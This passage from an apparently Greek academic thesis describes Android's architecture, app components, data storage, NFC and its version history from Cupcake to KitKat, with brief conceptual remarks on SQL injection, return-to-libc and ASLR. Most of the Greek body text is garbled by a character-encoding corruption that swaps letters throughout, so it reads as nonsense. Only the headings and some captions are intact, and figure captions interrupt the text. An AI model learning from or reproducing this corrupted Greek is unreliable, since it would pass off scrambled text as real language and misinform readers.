ζπλήζσο αλαηίζεληαη ζηνλ ππξήλα ηνπ ιεηηνπξγηθνχ ζπζηήκαηνο, ζηελ πεξίπησζε απηή, σο επί ην 

πιείζηνλ δηαρείξηζε ηνπ πιηθνχ (νζφλε, πιεθηξνιφγην, θάκεξεο, ήρνο, κλήκε θιπ). ην ζηξψκα απηφ 

ηξέρνπλ φια ηα ρακεινχ επηπέδνπ πξνγξάκκαηα νδήγεζεο πιηθνχ (drivers) πνπ ε ζπγθεθξηκέλε 

ζπζθεπή ζα ηξέμεη, επηηξέπνληαο ζηνπο πξνκεζεπηέο εμνπιηζκνχ γηα ηελ αλάπηπμε ελφο νδεγνχ ζε 

έλα νηθείν πεξηβάιινλ. 

Πάλσ απφ ηνλ ππξήλα είλαη νη βηβιηνζήθεο (native libraries). Απηέο είλαη ελφηεηεο θψδηθα πνπ 

θαηαξηίδνληαη ζε πξσηνγελή θψδηθα κεραλήο γηα ηε ζπζθεπή θαη παξέρεη κεξηθέο απφ ηηο θνηλέο 

ππεξεζίεο πνπ είλαη δηαζέζηκεο γηα ηηο εθαξκνγέο θαη άιια πξνγξάκκαηα. Οη βηβιηνζήθεο είλαη 

γξακκέλεο ζε γιψζζα C/C++ θαη είλαη εηδηθέο γηα ην ζπγθεθξηκέλν πιηθφ. 

Απηέο παξέρνπλ κέζνδν πξφζβαζεο ζηηο ιεηηνπξγηθφηεηεο πνπ είλαη απαξαίηεηεο γηα ηελ δφκεζε 

εθαξκνγψλ φπσο ε αλαπαξαγσγή/ερνγξάθεζε αξρείσλ ήρνπ, ρξήζε εηδηθνχ πιηθνχ φπσο θάκεξεο ή 

GPS, απνζήθεπζε ησλ δεδνκέλσλ, γξαθηθά 2D ή 3D ζηελ νζφλε ηεο ζπζθεπήο.  

Απφ πιεπξάο αζθαιείαο ηνπ ζπζηήκαηνο, ηδηαίηεξα ζεκαληηθέο είλαη νη βηβιηνζήθεο WebKit (πνπ 

απνηειεί ην πξνεπηιεγκέλν πξφγξακκα πεξηήγεζεο) γηα πξνβνιή HTML πεξηερνκέλνπ  θαη SQLite 

κηα SQL database ρξεζηκνπνηνχκελε απφ ηηο πεξηζζφηεξεο εθαξκνγέο γηα κφληκε απνζήθεπζε 

δεδνκέλσλ. Ζ απνζήθεπζε γίλεηαη ρσξίο ηε ρξήζε εηδηθψλ ηερληθψλ αζθαιείαο (φπσο ε 

θξππηνγξάθεζε) πνπ ζα πξνζηάηεπαλ ηελ εκπηζηεπηηθφηεηα ησλ δεδνκέλσλ. 

Παξάιιεια θαη ζην ίδην επίπεδν κε ηηο βηβιηνζήθεο ιεηηνπξγνχλ νη δηεξγαζίεο ηνπ android runtime. 

Κάζε εθαξκνγή ηξέρεη ζε δηθή ηνπ ζηηγκηφηππν( instance)  ηνπ Android runtime, θαη ν ππξήλαο θάζε 

instance είλαη κηα Dalvik Virtual Machine (VM).Ζ Dalvik VM είλαη κηα  εηθνληθή κεραλή πνπ 

επηηξέπεη ηε βέιηηζηε ιεηηνπξγία ζε εθαξκνγέο πνπ πινπνηνχληαη ζε θηλεηέο ζπζθεπέο πνπ έρνπλ 

Εηθόλα 7 Αξρηηεθηνληθή ηνπ Android 



15 
 

αξθεηά πεξηνξηζκέλνπο πφξνπο ηζρχνο κλήκεο απνζήθεπζεο ζε ζχγθξηζε κε θιαζζηθά ππνινγηζηηθά 

ζπζηήκαηα. ηαλ κηα εθαξκνγή αλαπηχζζεηαη ζε Java κεηαζρεκαηίδεηαη ζε dex (Dalvik executable) 

αξρεία κε ρξήζε ηνπ αλαπηπμηαθνχ εξγαιείνπ dx (πεξηέρεηαη ζην android SDK). πσο ηα 

πεξηζζφηεξα ζηνηρεία ηνπ Android θαη ζε αληίζεζε κε άιιεο «θιεηζηέο» πιαηθφξκεο φπσο iOS, ε 

Dalvik VM είλαη αλνηθηνχ θψδηθα θαη παξέρεηαη γηα download απφ ην δηαδίθηπν.  

Ζ επξεία δπλαηφηεηα πξφζβαζεο ζηνλ πεγαίν θψδηθα ηνπ Android παξέρεη απφ άπνςε αζθάιεηαο 

πιενλεθηήκαηα έλαληη ησλ θιεηζηψλ πιαηθνξκψλ δηφηη είλαη δπλαηή ε κειέηε ζε βάζνο απφ πιήζνο 

αζρνινπκέλσλ νη πηζαλέο εππάζεηεο ηνπ ζπζηήκαηνο ζε θάζε επίπεδν θαη ν εληνπηζκφο απηφο νδεγεί 

θαη ζε πξνζπάζεηα αληηκεηψπηζεο ηνπο. 

Σν επφκελν επίπεδν ηεο ζηνίβαο είλαη ην πιαίζην εθαξκνγήο (application framework) απνηειείηαη 

απφ έλα ζχλνιν ζηνηρείσλ ινγηζκηθνχ πνπ βνεζνχλ φζνπο αλαπηχζζνπλ εθαξκνγέο δίλνληαο γηα 

παξάδεηγκα ηελ δπλαηφηεηα λα δεκηνπξγήζνπλ δηεπαθέο ρξήζηε θαη ππεξεζίεο πνπ εθηεινχληαη ζην 

παξαζθήλην (background) .Δπίζεο δίλεη ηε δπλαηφηεηα δηακνηξαζκνχ δεδνκέλσλ κεηαμχ ζηνηρείσλ 

ινγηζκηθνχ θαη δεθηψλ επξπεθπνκπήο (broadcast receivers) πνπ ζηελ πεξίπησζε αθξφαζεο 

ζπγθεθξηκέλνπ γεγνλφηνο εθηεινχλ ζπγθεθξηκέλεο ελέξγεηεο (π.ρ. φηαλ ιεθζεί έλα SMS). 

ηελ θνξπθή είλαη ην επίπεδν ησλ εθαξκνγώλ (Applications). ε απηφ ην αλψηεξν ζηξψκα, ζα 

βξνχκε εθαξκνγέο πνπ έξρνληαη κε ηελ Android ζπζθεπή (φπσο ηειέθσλν, Δπαθέο, SMS, Browser, 

θιπ.), θαζψο θαη εθαξκνγέο πνπ κπνξνχκε λα θαηεβάζνπκε θαη λα εγθαηαζηήζνπκε απφ ην Android 

Market (google play) ή απφ άιια sites εθαξκνγψλ. Οη εθαξκνγέο παξέρεηαη ε δπλαηφηεηα λα θάλνπλ 

ρξήζε φισλ ησλ ζηνηρείσλ θαη ηεο ιεηηνπξγηθφηεηαο πνπ ππάξρνπλ ζηα πην θάησ επίπεδα. 

 

Τα κύρια ςτοιχεία μιασ εφαρμογήσ 
 

Μηα εθαξκνγή Android απνηειείηαη απφ ηέζζεξα θχξηα ζπζηαηηθά ζηνηρεία ,ζεκεία πξφζβαζεο θαη 

επηθνηλσλίαο ηεο εθαξκνγήο, φπνπ ην ζχζηεκα ή άιιεο εθαξκνγέο κπνξνχλ αλ εηζρσξήζνπλ. Γηα λα 

γίλεη έλα ζηνηρείν πξνζβάζηκν απφ εμσηεξηθή πεγή πξέπεη λα δεισζεί σο εμάγσλ (Android: 

exported). Σα ζηνηρεία ηα νπνία εμάγνληαη είλαη πηζαλέο είζνδνη θαθφβνπινπ ινγηζκηθνχ. Ο θχξηνο 

ηξφπνο κε ηνλ νπνίν νη εθαξκνγέο επηθνηλσλνχλ κεηαμχ ηνπο είλαη ηα intents (“πξνζέζεηο”). Σα 

intents είλαη αζχγρξνλα κελχκαηα κε κηα πεξηγξαθή ηεο ιεηηνπξγίαο ηνπ πξνγξάκκαηνο πνπ ηίζεηαη 

ζε ιεηηνπξγία. Σα ηέζζεξα ζηνηρεία είλαη ηα εμήο: 

 

 

 Activities  Με ηα activities θαζνξίδεηαη ην γξαθηθφ πεξηβάιινλ κηαο εθαξκνγήο .Σν Android 

πξνσζεί ηελ ρξήζε ησλ activities σο βάζε γηα θάζε πξφγξακκα νπνίν φκσο δεκηνπξγεί έλα 

ζηαζεξφ ζεκείν γηα θαθφβνπιεο ελέξγεηεο 

 Content providers  Γεκηνπξγεί ηελ επηθνηλσλία ηεο Βάζεο δεδνκέλσλ κηαο εθαξκνγήο κε 

άιια πξνγξάκκαηα. Δάλ είλαη θαθνγξακκέλν κπνξεί λα δεκηνπξγήζεη ηξσηά ζεκεία φπσο 

SQL injection απφ θαθφβνπιεο εθαξκνγέο. 

 Broadcast receivers Δπηθνηλσλία κε ηα broadcast intents. Δάλ δέρεηαη κε αμηφπηζηα intents 

κπνξεί λα δεκηνπξγήζεη ζνβαξφ θελφ αζθαιείαο ζην πξφγξακκα θαη θαηά ζπλέρεηα ζην 

ζχζηεκα. 

 Services Σα services ηξέρνπλ θαζφιε ηελ δηάξθεηα κηαο εθαξκνγήο θαη εθηεινχλ ηηο 

ιεηηνπξγίεο ηνπ πξνγξάκκαηνο. Δλεξγνπνηνχληαη φηαλ ηα παξαπάλσ ζηνηρεία ηεο εθαξκνγήο 

ην δεηήζνπλ ,ζηέιλνληαο intents, νπφηε ρξεηάδεηαη έιεγρνο αμηνπηζηίαο. 
 

 

Αποθήκευςη δεδομένων ςτο Android 
 

Ζ απνζήθεπζε δεδνκέλσλ ζην Android γίλεηαη κε ηελ ρξήζε ηεο εζσηεξηθήο κλήκεο ή ηεο 

εμσηεξηθήο .Καη νη κλήκεο είλαη ηνπ ίδηνπ ηχπνπ (nonvolatile NAND flash). Ζ θχξηα δηαθνξά ηνπο 

είλαη ην κέγεζνο, ε εζσηεξηθή κλήκε είλαη ζπλήζσο πνιχ κηθξφηεξε, ε ζέζε ηνπο ζην πιηθφ, ε 

εμσηεξηθή κπνξεί λα αθαηξεζεί ή αληηθαηαζηαζεί, θαη ν ηξφπνο πνπ ηηο ρξεζηκνπνηεί ην ιεηηνπξγηθφ. 
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Σα αξρεία πνπ βξίζθνληαη ζηελ εζσηεξηθή κλήκε είλαη ηδησηηθά αξρεία κηαο εθαξκνγήο, ελψ ηα 

αξρεία πνπ βξίζθνληαη ζηελ εμσηεξηθή κλήκε κπνξνχλ λα ρξεζηκνπνηεζνχλ απφ νπνηαδήπνηε 

εθαξκνγή. 

Οη εθαξκνγέο κπνξνχλ λα δεκηνπξγήζνπλ νπνηνλδήπνηε ηχπν αξρείνπ ,ε ππνζηήξημε φκσο ηνπ SQL 

lite  απφ ηελ αξρή ηνπ Android νδήγεζε ηελ πιεηνλφηεηα απηψλ λα γξάθνπλ ζε αξρεία XML. Απφ 

ηελ πξννπηηθή ηεο αζθάιεηαο θαίλεηαη έλα θελφ αζθαιείαο ζε επηζέζεηο SQL injection κέζσ intent ή 

άιινπ ηξφπνπ εηζαγσγήο. 

 

 Επικοινωνία κοντινού πεδίου - Near field Communication (NFC) 
 

Ζ ηερλνινγία επηθνηλσλίαο θνληηλνχ πεδίνπ επηηξέπεη ηελ αζχξκαηε κεηάδνζε δεδνκέλσλ κηθξνχ 

φγθνπ 

(απφ 48 bytes κέρξη 9ΚΒ) ζε πνιχ κηθξή απφζηαζε (ζπλήζσο <5 εθαηνζηψλ). Ζ ηερλνινγία έρεη 

αξρίζεη λα θάλεη ηελ εκθάληζε ηεο ζε ζπζθεπέο smartphones, ελψ ην Android Beam είλαη ε εθαξκνγή 

ηνπ ιεηηνπξγηθνχ κε ηελ νπνία γίλεηαη ε επηθνηλσλία .Ζ ρξήζε ηεο ηερλνινγίαο έρεη πνιιέο 

πξννπηηθέο ζε κεηαθνξά δεδνκέλσλ, πιεξσκή ινγαξηαζκψλ θαη γεληθφηεξα ζπζηήκαηα πιεξσκήο 

(κέζα καδηθήο κεηαθνξάο, πηζησηηθέο θάξηεο) αθφκα θαη δηαθεκηζηηθέο εθαξκνγέο. Θεσξείηαη φηη 

ζην εγγχο κέιινλ ζα γίλεη έλα θνκκάηη ηεο θαζεκεξηλφηεηαο καο. Έλα chip NFC ζε θαηαζηήκαηα, 

δεκφζηεο ππεξεζίεο, αθίζεο, ζα κπνξεί λα παξέρεη ππεξεζίεο ζηνλ θάηνρν ηνπ θηλεηνχ. 

Σν 2010 κε ηελ έθδνζε ηνπ Gingerbread ην NFC γηα πξψηε θνξά ζπλδπάζηεθε κε θηλεηφ (Galaxy 

Nexus S). Ζ πξψηε εμνκνίσζε πηζησηηθήο θάξηαο ήξζε ζηελ έθδνζε 2.3.4 κε ηελ εθαξκνγή Google 

Wallet. ηελ έθδνζε 4.0 πινπνηήζεθε ε δνκή p2p (Android Beam) επηηξέπνληαο ηελ ακθίδξνκε 

επηθνηλσλία κεηαμχ δχν ζπζθεπψλ κε NFC. 

 

 

 

3.3 Εξέλιξη του Android 
 
πσο αλαθέξακε παξαπάλσ, ην Android είλαη έλα ιεηηνπξγηθφ ζχζηεκ α αλνηρηνχ θψδηθα. Ζ εμέιημε 

ηνπ ιφγσ ηεο open source θχζεο ηνπ είλαη ξαγδαία θαη απηφ αληηθαηνπηξίδεηαη ζην γεγνλφο φηη νη 7 

θχξηεο εθδφζεηο ηνπ έρνπλ θπθινθνξήζεη ζε δηάζηεκα2.5 εηψλ, απφ ηνλ Απξίιε ηνπ 2009 κέρξη ηνλ 

Ννέκβξην ηνπ 2011 

 

 

 

ηελ πιεξνθνξηθή ζπλεζίδεηαη ηα πξντφληα hardware θαη software λα θπθινθνξνχλ εθηφο απφ ηνλ 

αξηζκφ έθδνζεο ηνπο, θαη κε κία θσδηθή νλνκαζία. Ζ θσδηθή νλνκαζία κπνξεί λα είλαη πρ νλφκαηα 

πφιεσλ (Windows Vienna, Chicago), νλφκαηα δψσλ (OSX Leopard,Lion), ζηελ πεξίπησζε φκσο ηνπ 

Android ηα θψδηθα νλφκαηα έξρνληαη ζηε κνξθή επηδφξπηνπ. 

 

 

 

 

Εηθόλα 8 Υξνλνδηάγξακκα Εθδόζεσλ ηνπ Android OS 
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Android 1.5 Cupcake 
Ζ έθδνζε “Cupcake”, βαζηζκέλε ζην Linux Kernel 2.6.27, 

παξνπζηάζηεθε ζηηο 30 Απξηιίνπ ηνπ 2009.Τπνζηεξίδεη λέεο 

ιεηηνπξγίεο γηα ηελ θάκεξα ηηο ζπζθεπήο, φπσο ε θαηαγξαθή θαη 

παξαθνινχζεζε βίληεν απφ ηελ ιεηηνπξγία ηεο θάκεξαο θαη ε άκεζε 

κεηαθφξησζε ηνπ βίληεν αιιά θαη ησλ θσηνγξαθηψλ ζην YouTube 

θαη ην Picasa αληίζηνηρα απεπζείαο απφ ην ηειέθσλν. Έρεη λέν 

έμππλν πιεθηξνιφγην κε πξφβιεςε θεηκέλνπ. Τπνζηεξίδεη πξφηππν 

Bluetooth A2DP θαη AVRCP ελψ έρεη θαη ηελ ηθαλφηεηα λα 

ζπλδέεηαη απηφκαηα ζε κηθξνζπζθεπέο Bluetooth απφ κηα 

ζπγθεθξηκέλε απφζηαζε. Αθφκα ζηελ έθδνζε απηή έρεη λέν γξαθηθφ 

πεξηβάιινλ κε θηλνχκελεο κεηαβάζεηο νζφλεο.  

 

 

 

Android 1.6 Donut 
 

Ζ έθδνζε “Donut”, βαζηζκέλε ζην Linux Kernel 2.6.29, 

παξνπζηάζηεθε ζηηο 15 επηεκβξίνπ ηνπ 2009. Έρεη ηαρχηεξε 

απφθξηζε ζε ζρέζε κε ηελ πξνεγνχκελε έθδνζε. Τπνζηεξίδεηαη 

πιένλ ε επηινγή πνιιαπιψλ αξρείσλ ηαπηφρξνλα, έρεη αλαλεσκέλν 

γθαιεξί θαη θσηνγξαθηθή κεραλή, θαζψο θαη βειηησκέλν Android 

Market. Έρεη αλαλεσκέλε θσλεηηθή αλαδήηεζε, κε ηαρχηεξε 

απφθξηζε θαη βαζχηεξε νινθιήξσζε κε εγγελείο 

(native)εθαξκνγέο, ζπκπεξηιακβαλνκέλεο ηεο δπλαηφηεηαο 

θιήζεο επαθψλ. Γπλαηφηεηα αλαδήηεζεο ζειηδνδεηθηψλ, 

ηζηνξηθνχ, επαθψλ αιιά θαη ζην δηαδίθηπν απφ ηελ αξρηθή νζφλε. 

Τπνζηήξημε γηα αλάιπζε νζνλψλ WVGA. Αλαλεσκέλε 

ππνζηήξημε ηερλνινγηψλ γηα CDMA/EVDO, 802.1x, VPNs θαη κε κεραλή κεηαηξνπήο θεηκέλνπ ζε 

νκηιία (text-to-speech). 

 

Android 2.0/2.1 Éclair  
 
Ζ έθδνζε “Éclair”, βαζηζκέλε θαη απηή ζηνλ Linux 

Kernel 2.6.29, παξνπζηάζηεθε ζηηο 26 Οθησβξίνπ ηνπ 

2009, ελψ ηνλ Ηαλνπάξην ηνπ 2010 επαλεθδφζεθε ζε 

Android 2.1 Éclair (MR1) απηή ηελ έθδνζε ππάξρεη αθφκα 

ηαρχηεξε απφθξηζε ηνπ πιηθνχ ζε ζρέζε κε ηηο δπν 

πξνεγνχκελεο θαη πιένλ ππνζηεξίδνληαη πεξηζζφηεξεο 

νζφλεο θαη αλαιχζεηο. Τπάξρεη λένο browser ν νπνίνο 

ππνζηεξίδεη ην πξφηππν HTML5, λέν User Interface, θαη 

βειηησκέλνη ράξηεο Google (Google Maps 3.1.2). Έρεη 

ελζσκαησζεί ε ππνζηήξημε θιαο γηα ηελ θάκεξα ε νπνία 

έρεη πιένλ θαη ςεθηαθφ zoom. Δπίζεο έρεη βειηησζεί ε 

θιάζε Motion Event ψζηε λα ππάξρεη ε δπλαηφηεηα γηα 

γεγνλφηα πνιιαπιήο αθήο (multitouch events). 

Τπνζηεξίδεηαη Bluetooth 2.1 θαη έρεη βειηησζεί θαη ην πιεθηξνιφγην. 

 

Εηθόλα 9 Λνγόηππν ηνπ Android 1.5 

Εηθόλα 10 Λνγόηππν ηνπ Android 1.6 

Εηθόλα 11 Λνγόηππν ηνπ Android 2.0/2.1 
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Android 2.2 Froyo 
Ζ έθδνζε “Froyo”, βαζηζκέλε ζην Linux Kernel 2.6.32, 

παξνπζηάζηεθε ζηηο 20 Μαΐνπ ηνπ 2010. Τπάξρνπλ 

βειηηζηνπνηήζεηο ζηελ ηαρχηεηα γεληθά ηνπ ιεηηνπξγηθνχ 

ζπζηήκαηνο, ζηελ κλήκε θαη ζηελ απφδνζε. Έρεη ελζσκαησζεί 

ν κεραληζκφο JavaScript ηνπ Chrome V8 ζηνλ browser, ππάξρεη 

πιένλ Adobe Flash 10.1, ελψ ππνζηεξίδεηαη θαιχηεξα πιένλ ην 

Microsoft Exchange.Έρεη γίλεη αλαλέσζε ηνπ Android Market. 

Ο ρξήζηεο κπνξεί πιένλ λα ειέγρεη αλ ζα γίλεηαη ή φρη θίλεζε 

παθέησλ δεδνκέλσλ απφ ην δίθηπν θηλεηήο ηειεθσλίαο. 

Τπάξρεη ε δπλαηφηεηα εγθαηάζηαζεο εθαξκνγψλ ζηελ θάξηα 

κλήκεο θαη ε κεηαθνξά ηνπο εθεί απφ ηε κλήκε ηνπ 

ηειεθψλνπ. Δπίζεο ην ηειέθσλν πιένλ κπνξεί λα κεηαηξαπεί 

ζε Wi-Fi hotspot. 

 

 

Android 2.3 Gingerbread 
Ζ έθδνζε “Gingerbread”, βαζηζκέλε ζην Linux Kernel 

2.6.35.7, παξνπζηάζηεθε ζηηο 6 Γεθεκβξίνπ ηνπ 2010, ελψ 

ηνλ Φεβξνπάξην ηνπ 2011 επαλεθδφζεθε ζε Android 2.3.3. 

ηελ έθδνζε απηή ππάξρνπλ αιιαγέο ζην User Interface ην 

νπνίν έρεη γίλεη πην απιφ θαη ηαρχ, ελψ ππνζηεξίδνληαη 

πιένλ νζφλεο κεγάισλ κεγεζψλ θαη αλαιχζεσλ. Τπάξρεη 

πιένλ ην πξσηφθνιιν SIP γηα θιήζεηο κέζσ VoIP, 

ππνζηεξίδεηαη ν ηχπνο βίληεν WebM/VP8 θαη ν 

θσδηθνπνηεηήο AAC, έρεη βειηησζεί ν ήρνο θαζψο θαη νη  

Δηθφλα 1.8: Σν ινγφηππν ηνπ Android 2.3 

"Gingerbread"ιεηηνπξγίεο απεηθφληζεο γηα ηελ αλάπηπμε 

παηρληδηψλ. Τπάξρεη ε δπλαηφηεηα γηα Copy-Paste ζε φιν 

ην ζχζηεκα θαη φρη κφλν ζηελ ίδηα εθαξκνγή. 

Τπνζηεξίδεηαη ην NFC (Near Field Communication) θαη ε 

χπαξμε πνιιαπιψλ θακεξψλ. Δπίζεο, έρεη βειηησζεί ε 

ελεξγεηαθή ππνζηήξημε θαη έρεη γίλεη κεηάβαζε απφ ην ζχζηεκα αξρείσλ YAFFS ζην ext4 ζηηο λέεο 

ζπζθεπέο.  

Ζ αζθάιεηα ηνπ ζπζηήκαηνο βειηηψζεθε παξέρνληαο σο έλα επηπξφζζεην κέηξν αζθάιεηαο 

hardware-based (ζηνλ επεμεξγαζηή) ην No eXecutable (NX) bit . ηφρνο απηνχ ηνπ κέηξνπ είλαη λα 

απνηξέπεη ηελ εθηέιεζε θψδηθα ζε ιάζνο ζεκεία ηεο κλήκεο. Έηζη δηαρσξίδεη ηηο πεξηνρέο ηεο 

κλήκεο ζε απνζεθεπηηθφ ρψξν θψδηθα θαη ρψξν απνζήθεπζεο εληνιψλ. 

 

Σν NX bit φκσο είλαη επάισην ζε επηζέζεηο “return-to-libc”. Πξαθηηθά κε ππεξρείιηζε ηνπ buffer θαη 

αιιάδνληαο ηελ δηεχζπλζε πνπ επηζηξέθεη ηα δεδνκέλα έλα πξφγξακκα ζηελ κλήκε ν εηζβνιέαο 

κπνξεί λα δηαβάζεη θαη λα εθηειέζεη εληνιέο πνπ πξνυπάξρνπλ ζηελ εθαξκνγή γηα λα πξνζβάιεη ην 

ζχζηεκα. 

 

 

 

 

 

 

 

Εηθόλα 12 Λνγόηππν ηνπ Android 2.2 

Εηθόλα 13 Λνγόηππν ηνπ Android 2.3 
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Android 3.0 Honey comb 
Ζ έθδνζε “Honeycomb”, βαζηζκέλε ζην Linux Kernel 

2.6.36, παξνπζηάζηεθε ζηηο 9 Μαΐνπ ηνπ 2011,κε ηελ 

ηδηαηηεξφηεηα φηη πξννξηδφηαλ απνθιεηζηηθά γηα tablets.Οη 

αιιαγέο πνπ έγηλαλ ζηελ έθδνζε απηή έρνπλ λα θάλνπλ 

θπξίσο κε ηε βειηίσζε ηεο ππνζηήξημεο ησλ 

tablets.Τπάξρεη έλα λέν, εληειψο δηαθνξεηηθφ, User 

Interface θαη ππνζηεξίδνληαη δηπχξελνη θαη ηεηξαπχξελνη 

επεμεξγαζηέο. Αθφκα, έρεη απινπνηεζεί ην multitasking 

έηζη ψζηε ν ρξήζηεο λα κπνξεί κε ηε ρξήζε ελφο πιήθηξνπ 

(recent apps) λα πεξλάεη απφ κηα εθαξκνγή ζε άιιε. 

Τπάξρεη ε δπλαηφηεηα γηα Video Chat κέζσ ηεο 

εθαξκνγήο Google Talk θαζψο ε αλάγλσζε βηβιίσλ κέζσ 

ηνπ Google eBooks. Δπηπιένλ, κπνξνχλ λα 

θξππηνγξαθεζνχλ φια ηα δεδνκέλα ρξήζηε.! 

 

 

Android 4.0 Ice Cream Sandwich 
 
Ζ έθδνζε “Ice Cream Sandwich”, βαζηζκέλε ζην 

Linux Kernel 3.0.1, παξνπζηάζηεθε ζηηο 19 

Οθησβξίνπ ηνπ 2011. Γηα άιιε κηα θνξά έρεη 

βειηησζεί ε ηαρχηεηα θαη ε απφδνζε ηνπ ζπζηήκαηνο. 

Πιένλ ζην User Interface, ην νπνίν είλαη θαη πάιη 

δηαθνξεηηθφ, ππάξρνπλ εηθνληθά πιήθηξα ηα νπνία 

παίξλνπλ ηε ζέζε ησλ θπζηθψλ ή αθήο πνπ ππήξραλ 

ζηηο ζπζθεπέο. Βειηίσζε ηεο αζθάιεηα ηνπ 

ζπζηήκαηνο κε ηελ πξνζζήθε αλαγλψξηζεο 

πξνζψπνπ γηα λα μεθιεηδψζεη ε ζπζθεπή. Ο browser 

κπνξεί λα αλνίμεη ηαπηφρξνλα κέρξη θαη 16 θαξηέιεο. 

Τπάξρεη ε δπλαηφηεηα ν ρξήζηεο λα ηεξκαηίζεη 

εθαξκνγέο νη νπνίεο ηξέρνπλ ζην background, ελψ 

κπνξεί λα ζέζεη θαη φξηα ζηελ θίλεζε παθέησλ δεδνκέλσλ. Ζ εθαξκνγή Android Beam αμηνπνηεί 

πιένλ ην NFC αθνχ επηηξέπεη ηελ απνζηνιή δεδνκέλσλ απφ ηε ζπζθεπή ζε φζεο βξίζθνληαη εληφο 

κηαο κηθξήο αθηίλαο εκβέιεηαο. Αθφκα κε ηελ χπαξμε ηνπ Wi-Fi Direct ζπζθεπέο κπνξνχλ λα 

ζπλδεζνχλ κεηαμχ ηνπο αζχξκαηα ρσξίο ηελ κεζνιάβεζε θάπνηνπ access point. Πιένλ ππνζηεξίδεηαη 

ε εγγξαθή βίληεν ζε 1080p. 

Σέινο ζηνλ ηνκέα αζθαιείαο πινπνηήζεθε ην Address Space Layout Randomization (ASLR) .Σν 

ASLR δηαζθνξπίδεη ηπραία ζηελ κλήκε ηελ ζέζε ησλ ζεκείσλ θιεηδηψλ ηνπ πξνγξάκκαηνο. Παξφια 

απηά θάπνηα ζε θάπνηα ζεκεία ,φπσο ζηελ δπλακηθή δέζκεπζε κλήκεο, δελ εθαξκνδφηαλ   

 

Εηθόλα 14 Λνγόηππν ηνπ Android 3.0 

Εηθόλα 15 Λνγόηππν ηνπ Android 4.0 
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Android 4.1/4.2/4.3 Jelly Bean 
 

Ζ Google αλαθνίλσζε ην Android 4.1 ζηηο 27 Ηνπλίνπ 2012. 

Βαζίδεηαη ζην Linux kernel 3.0.31. Κχξηα ραξαθηεξηζηηθά 

βειηίσζε ηεο ιεηηνπξγηθφηεηαο θαη ηεο απφδνζεο ηεο δηεπαθήο 

ρξήζηε Οη ζεκαληηθφηεξεο αιιαγέο ζην Android 4.1 Jelly Bean 

αθνξνχλ ζηελ πεξηνρή ησλ Δηδνπνηήζεσλ (Notifications). Ζ Google 

επηηξέπεη ζηνπο πξνγξακκαηηζηέο λα πξνζζέζνπλ ζηα app ηνπο 

ιεηηνπξγίεο πνπ ζα κπνξνχλ λα εθηεινχληαη απφ ηνλ ρξήζηε 

απεπζείαο απφ ηελ πεξηνρή ησλ Δηδνπνηήζεσλ. Σν πιεθηξνιφγην 

είλαη επίζεο αλαλεσκέλν, κε ζεκαληηθφηεξε βειηίσζε ηελ 

πξφβιεςε ηεο επφκελεο ιέμεο πνπ εθηηκάηαη φηη ζα γξάςεη ν 

ρξήζηεο. πγρξνληζκφο Vsync ζε φια ηα γξαθηθά. ηελ έθδνζε 4.2, 

ην Android ππνζηεξίδεη ηελ ιεηηνπξγία Photo Sphere, πνπ επηηξέπεη 

ηελ ιήςε παλνξακηθψλ θσηνγξαθηψλ (360 ). Βειηησκέλε είλαη θαη 

ε θσλεηηθή πιεθηξνιφγεζε. Έκθαζε δίλεη ε Google θαη ζηελ 

ρξήζε ηνπ tablet απφ πνιιαπινχο ρξήζηεο νη ρξήζηεο tablet κπνξνχλ λα νξίζνπλ δηαθνξεηηθά πξνθίι 

ρξήζηε θαη λα μεθιεηδψλνπλ ην tablet ζην θαηάιιειν. Νέα εθαξκνγή ξνιφη κε ελζσκαησκέλν 

παγθφζκην ξνιφη θαη ρξνλφκεηξν. Δπίζεο, πξνζηίζεηαη ε ππεξεζία google now κε ρξήζηκεο 

πιεξνθνξίεο πξηλ θαλ ηηο δεηήζεηε, φπσο ν ρξφλνο άθημεο ηνπ ηξέλνπ φηαλ ν επηβάηεο ην πεξηκέλεη, 

ελεκέξσζε γηα αμηνζέαηα ζην ζεκείν πνπ βξίζθεηαη θαη άιια. Τπνζηεξίδεηαη επίζεο ην Bluetooth 

Low energy γηα  ρακειφηεξε θαηαλάισζε ζε απηνχ ηνπ ηχπνπ ηηο ζπλδέζεηο. Σν Android 4.3 έξρεηαη 

επίζεο κε OpenGL ES 3.0 ππνζηήξημε, γηα θαιχηεξα γξαθηθά. Πνιιέο βειηηψζεηο αζθάιεηαο ,πιένλ 

πινπνηήζεθε ην Full ASLR δηνξζψλνληαο ηα φπνηα θελά ππήξμαλ ζηελ πξνεγνχκελε έθδνζε ηνπ, 

βειηηψζεηο επηδφζεσλ, θαη δηνξζψζεηο ζθαικάησλ. 

 

Android 4.4 Kit Kat 
Ζ Google αλαθνίλσζε ην Android 4.4 Kit Kat ζηηο 3 επηεκβξίνπ 

2013. Δίλαη απινχζηεξν απφ ηελ πξνεγνχκελε έθδνζε, αιιά δίρσο 

ζπγθινληζηηθέο αιιαγέο Έρεη βειηηζηνπνηεζεί γηα λα ηξέρεη θαη ζε 

ζπζθεπέο κε κλήκε RAM 512 MB (ειάρηζηε ζπληζηψκελε). Τπάξρεη 

Γπλαηφηεηα αζχξκαηεο εθηχπσζεο, δπλαηφηεηα πιεξσκψλ κέζσ 

NFC card emulation πνπ επηηξέπεη κηα ζπζθεπή γηα ηελ 

αληηθαηάζηαζε ησλ έμππλσλ θαξηψλ (smart cards). Νέα πεηξακαηηθή 

runtime virtual machine , ART (δελ είλαη ελεξγνπνηεκέλν απφ 

πξνεπηινγή). Έρεη πεξηνξηζκνχο πξφζβαζεο ζηηο θάξηεο κλήκεο 

κέζσ εθαξκνγψλ, ελψ ε πιήξεο πξφζβαζε ζηελ εζσηεξηθή αξρηθή 

απνζήθεπζε εμαθνινπζεί λα επηηξέπεηαη .Νέα ιεηηνπξγία 

αλαγλψξηζεο θιήζεσλ, θαζψο φηαλ ζαο θαιεί άγλσζηνο αξηζκφο ζα 

ςάρλεη απηφκαηα αλ αληηζηνηρεί ζε θάπνηα θνληηλή επηρείξεζε 

Εηθόλα 16 Λνγόηππν ηνπ Android 

4.1/4.2/4.3 

Εηθόλα 17 Λνγόηππν ηνπ Android 

4.4 
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θαηαρσξεκέλε ζην Google Maps θαζψο θαη απηφκαηε νξγάλσζε ησλ επαθψλ αλάινγα κε ην πφζν 

ζπρλά επηθνηλσλείηε καδί ηνπο αιιά θαη κε δπλαηφηεηα αλαδήηεζεο ζε θνληηλά κέξε γηα ηνπνζεζίεο, 

επηρεηξήζεηο, επαθέο (θάηη ζαλ Υξπζφο Οδεγφο) ρσξίο λα αθήλεηε ηελ εθαξκνγή. 

 

  
